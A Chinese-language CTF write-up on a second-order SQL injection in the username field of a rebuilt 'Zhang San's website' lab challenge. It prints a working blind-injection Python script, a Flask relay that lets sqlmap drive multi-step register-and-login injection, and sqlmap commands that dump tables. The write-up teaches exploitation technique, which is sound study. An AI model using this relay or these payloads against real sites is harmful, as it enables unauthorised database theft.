本文仅作为技术讨论及分享,严禁用于任何非法用途。
在渗透工作中我们经常能碰到一些逻辑复杂的 SQL 注入漏洞,并不能直接通过 sqlmap 工具注入拿到结果。今年网鼎杯的一道 SQL 注入题 “张三的网站” 让我久久不能忘怀,我不断思考遇到这类型的 SQL 注入除了手工注入然后编写脚本一点一点脱数据以外,有没有一个比较优雅的解决方案呢?
先来说说 “张三的网站” 这道题目,因为我手上没有题目源码,所以就根据记忆中的各个功能自己写了一个(很少写 php,代码很烂),相关代码已经上传到 GitHub,见文章底部。
该题目主要涉及 3 个页面:
登陆页面
注册页面
登陆后的主页
题目中的登陆页面、注册页面均无 SQL 注入漏洞,但是登陆后的主页在用户名处存在 SQL 注入漏洞。要利用此漏洞,需要在注册页面控制用户名,邮箱使用随机数生成的邮箱,密码随意,然后使用邮箱和注册时的密码登陆,登陆成功后跳转到主页,此时触发 SQL 注入漏洞。
注册名为 “123” 的用户:
注册名为 “123’” 的用户:
以下是一个 Python 脚本手工注入的解法:
import requests
import random
import re
import string
proxy = {'http': '127.0.0.1:8080'}
session = requests.session()
def register(username, email, password='123'):
burp0_url = "http://192.168.154.130:80/web/register.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
def login(email, password='123'):
burp0_url = "http://192.168.154.130:80/web/login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"email": email, "pw": password, "submit": ''}
r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
# 跳转首页
burp0_url = "http://192.168.154.130/web/index.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy)
if r2.status_code == 302:
print('username payload no work')
elif r2.status_code == 200:
pattern = '''<span class="user-name">(.+?)</span>'''
try:
userr = re.findall(pattern, r2.text, re.DOTALL)[0]
if userr:
return True
else:
return False
except:
return False
def main():
key = string.ascii_lowercase + string.digits + '{}_-'
flag = ''
for keynum in range(1, 43):
for s in key:
username = r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1""".format(keynum, s)
email = '{}@qq.com'.format(int(random.random() * 10000000))
register(username, email)
if login(email):
flag += s
print('key: ' + flag)
break
if __name__ == "__main__":
main()
如果对 ctf 不熟悉的朋友应该会很懵,因为语句中直接查询获取了 flag 表中的内容,而正常情况下,我们是不知道真正的 flag 在上面表,这样的解法我个人觉得不具备通用性,当然了在 ctf 比赛中是很高效的。
那么,有没有可能通过 sqlmap 来进行注入呢?显然,直接使用 sqlmap 不进行二次开发是无法检测出注入点的,因为 sqlmap 的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法,拿到 sqlmap 的注入检测 payload,然后我们通过 Python 编写相应的请求逻辑,再把响应结果返回到 sqlmap 呢?答案是可行的!
代码实现的结构如下,首先创建一个 flask 服务,接收 payload
参数的值,然后传入函数 custom_fun
中,custom_fun
函数由自己编写请求逻辑,把 payload
参数的值填入到存在注入点的参数中,然后发起请求,把最终响应结果 return 就行。最后通过 sqlmap 检测 URL:http://127.0.0.1:5000/?payload=1
即可,可以适当调整 sqlmap 的注入参数,比如 --level
、--risk
、--technique
等。
from flask import Flask
from flask import request
import requests
import random
def custom_fun(payload):
return ''
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
payload = request.args.get('payload')
elif request.method == 'POST':
payload = request.form.get('payload')
return custom_fun(payload)
def main():
app.run(host='127.0.0.1', debug=True)
if __name__ == "__main__":
main()
流程示意图如下:
先来看看本例的实现代码:
from flask import Flask
from flask import request
import requests
import random
def custom_fun(payload):
email = '{}@qq.com'.format(int(random.random() * 10000000))
username = payload
password = '123'
proxy = {'http': '127.0.0.1:8080'}
session = requests.session()
# 注册
burp0_url = "http://192.168.154.130:80/web/register.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
# 登陆
burp0_url = "http://192.168.154.130:80/web/login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"email": email, "pw": password, "submit": ''}
r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
# 登陆后跳转到首页
burp0_url = "http://192.168.154.130/web/index.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy)
resp.encoding = resp.apparent_encoding
return resp.text
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
payload = request.args.get('payload')
elif request.method == 'POST':
payload = request.form.get('payload')
return custom_fun(payload)
def main():
app.run(host='127.0.0.1', debug=True)
if __name__ == "__main__":
main()
从代码上可以看到,只需要把请求逻辑写到 custom_fun
函数中,把最终结果的响应包 return 给 flask,剩下的就可以交给 sqlmap 了,优雅!
这里说一个小技巧,可以使用 Burp 的拓展 Copy As Python-Requests
来一键把 burp 的请求复制为 Python requests 请求:
然后使用 sqlmap 测试一下,因为是通过本地 flask 中转,我们的 sqlmap 的 target 应该是本地的 flask 服务端口,命令如下:
sqlmap -u http://127.0.0.1:5000/?payload=1
检测时 flask 服务的输出:
成功检测到注入点:
当前数据库:
sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db
跑表名:
sqlmap -u http://127.0.0.1:5000/?payload=1 -D test --tables
跑 flag 表数据:
sqlmap -u http://127.0.0.1:5000/?payload=1 -D test -T flag --dump
GitHub:https://github.com/ryanInf/fakeZhangSan
作者:r0yanx,文章来源于:https://r0yanx.com
侵权请私聊公众号删文
热文推荐